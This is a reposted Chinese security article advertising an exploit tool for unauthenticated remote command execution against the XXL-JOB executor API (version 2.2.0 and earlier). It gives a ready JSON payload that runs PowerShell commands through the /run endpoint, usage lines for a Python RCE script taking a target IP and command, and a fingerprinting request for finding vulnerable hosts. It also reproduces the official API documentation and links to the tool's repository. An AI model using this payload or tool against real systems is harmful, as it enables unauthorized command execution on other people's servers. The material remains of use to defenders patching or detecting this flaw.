xxl-job执行器RESTful API未授权访问RCE攻击利用工具

admin 2024年12月16日22:54:09评论12 views字数 5278阅读17分35秒阅读模式
 

一、工具说明

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。

官方GitHub地址:https://github.com/xuxueli/xxl-job
官方文档:https://www.xuxueli.com/xxl-job/

二、影响范围

  • 在xxl-job<= 2.2.0版本存在未授权命令执行

三、食用方法

Payload:

{"jobId"1,"executorHandler""demoJobHandler","executorParams""demoJobHandler","executorBlockStrategy""COVER_EARLY","executorTimeout"0,"logId"1,"logDateTime"1586629003729,"glueType""GLUE_POWERSHELL","glueSource""calc","glueUpdatetime"1586699003758,"broadcastIndex"0,"broadcastTotal"0}

四、工具使用说明

用法:

python3 xxl-job-rce.py [IP Address] -p [Prot(default9999)] -c [Command] -m[Ccript Method(default powershell)]'python3 xxl-job-poc.py 192.168.229.146 -c calcpython3 xxl-job-poc.py 192.168.229.146 -c calc -m shell -p 9999

xxl-job执行器RESTful API未授权访问RCE攻击利用工具

xxl-job执行器RESTful API未授权访问RCE攻击利用工具

GUI工具界面

xxl-job执行器RESTful API未授权访问RCE攻击利用工具

根据异常报错指纹-快速发现目标机器

POST/run HTTP/1.1Host127.0.0.1:9999Accept*/*X-Requested-WithXMLHttpRequestUser-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like GeckoChrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length0
HTTP/1.1 200 OKcontent-type: text/html;charset=UTF-8content-length: 646{"code": 500,"msg""request error:java.lang.NullPointerExceptionat com.xxl.job.core.biz.impl.ExecutorBizImpl.run(ExecutorBizImpl.java:49)at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.process(EmbedServer.java:201)at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.access$200(EmbedServer.java:138)at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler$1.run(EmbedServer.java:166)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)at java.lang.Thread.run(Thread.java:745)"}

官方公开api

调度中心 RESTful API

API服务位置:com.xxl.job.core.biz.AdminBiz ( com.xxl.job.admin.controller.JobApiController ) API服务请求参考代码:com.xxl.job.adminbiz.AdminBizTest

任务回调

    说明:执行器执行完任务后,回调任务结果时使用    ------    地址格式:{调度中心跟地址}/callbackHeader        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:[{"logId":1,              // 本次调度日志ID"logDateTim":0,         // 本次调度日志时间"executeResult":{"code": 200,        // 200 表示任务执行正常,500表示失败"msg": null            }        }]    响应数据格式        {          "code": 200,      // 200 表示正常、其他失败"msg": null      // 错误提示消息        }

执行器注册

    说明:执行器注册时使用,调度中心会实时感知注册成功的执行器并发起任务调度    ------    地址格式:{调度中心跟地址}/registryHeader        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:        {            "registryGroup":"EXECUTOR",                     // 固定值"registryKey":"xxl-job-executor-example",       // 执行器AppName"registryValue":"http://127.0.0.1:9999/"        // 执行器地址,内置服务跟地址        }    响应数据格式:        {          "code": 200,      // 200 表示正常、其他失败"msg": null      // 错误提示消息        }

执行器注册摘除

    说明:执行器注册摘除时使用,注册摘除后的执行器不参与任务调度与执行    ------    地址格式:{调度中心跟地址}/registryRemoveHeader        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:        {            "registryGroup":"EXECUTOR",                     // 固定值"registryKey":"xxl-job-executor-example",       // 执行器AppName"registryValue":"http://127.0.0.1:9999/"        // 执行器地址,内置服务跟地址        }    响应数据格式:        {          "code": 200,      // 200 表示正常、其他失败"msg": null      // 错误提示消息        }

执行器RESTFUL API

API服务位置:com.xxl.job.core.biz.ExecutorBiz API服务请求参考代码:com.xxl.job.executorbiz.ExecutorBizTest

心跳检测

说明:调度中心检测执行器是否在线时使用------地址格式:{执行器内嵌服务跟地址}/beatHeader    XXL-JOB-ACCESS-TOKEN : {请求令牌}请求数据格式如下,放置在 RequestBody 中,JSON格式:响应数据格式:    {      "code": 200,      // 200 表示正常、其他失败     }

忙碌检测

    说明:调度中心检测指定执行器上指定任务是否忙碌(运行中)时使用    ------    地址格式:{执行器内嵌服务跟地址}/idleBeatHeader        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:        {            "jobId":1       // 任务ID        }    响应数据格式:        {          "code": 200,      // 200 表示正常、其他失败"msg": null       // 错误提示消息        }

触发任务

    说明:触发任务执行    ------    地址格式:{执行器内嵌服务跟地址}/run    Header:        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:        {"jobId":1,                                  // 任务ID"executorHandler":"demoJobHandler",         // 任务标识"executorParams":"demoJobHandler",          // 任务参数"executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum"executorTimeout":0,                        // 任务超时时间,单位秒,大于零时生效"logId":1,                                  // 本次调度日志ID"logDateTime":1586629003729,                // 本次调度日志时间"glueType":"BEAN",                          // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum"glueSource":"xxx",                         // GLUE脚本代码"glueUpdatetime":1586629003727,             // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新"broadcastIndex":0,                         // 分片参数:当前分片"broadcastTotal":0                          // 分片参数:总分片        }    响应数据格式:        {"code"200,      //200 表示正常、其他失败"msg": null       // 错误提示消息        }

终止任务

    说明:终止任务    ------    地址格式:{执行器内嵌服务跟地址}/killHeader        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:        {            "jobId":1       // 任务ID        }    响应数据格式:        {          "code": 200,      // 200 表示正常、其他失败"msg": null       // 错误提示消息        }

查看执行日志

    说明:终止任务,滚动方式加载    ------    地址格式:{执行器内嵌服务跟地址}/log    Header:        XXL-JOB-ACCESS-TOKEN : {请求令牌}    请求数据格式如下,放置在 RequestBody 中,JSON格式:        {"logDateTim":0,     // 本次调度日志时间"logId":0,          // 本次调度日志ID"fromLineNum":0     // 日志开始行号,滚动加载日志        }    响应数据格式:        {"code":200,         //200 表示正常、其他失败"msg": null         // 错误提示消息"content":{"fromLineNum":0,        // 本次请求,日志开始行数"toLineNum":100,        // 本次请求,日志结束行号"logContent":"xxx",     // 本次请求日志内容"isEnd":true            // 日志是否全部加载完            }        }

五、获取方式

https://github.com/mrknow001/xxl-job-rce

参考链接如下

https://www.xuxueli.com/xxl-job/

https://github.com/jas502n/xxl-job

https://github.com/xuxueli/xxl-job/

xxl-job执行器RESTful API未授权访问RCE攻击利用工具

原文始发于微信公众号(克莱因蓝的灰色空间):xxl-job执行器RESTful API未授权访问RCE攻击--利用工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月16日22:54:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xxl-job执行器RESTful API未授权访问RCE攻击利用工具https://cn-sec.com/archives/3504322.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息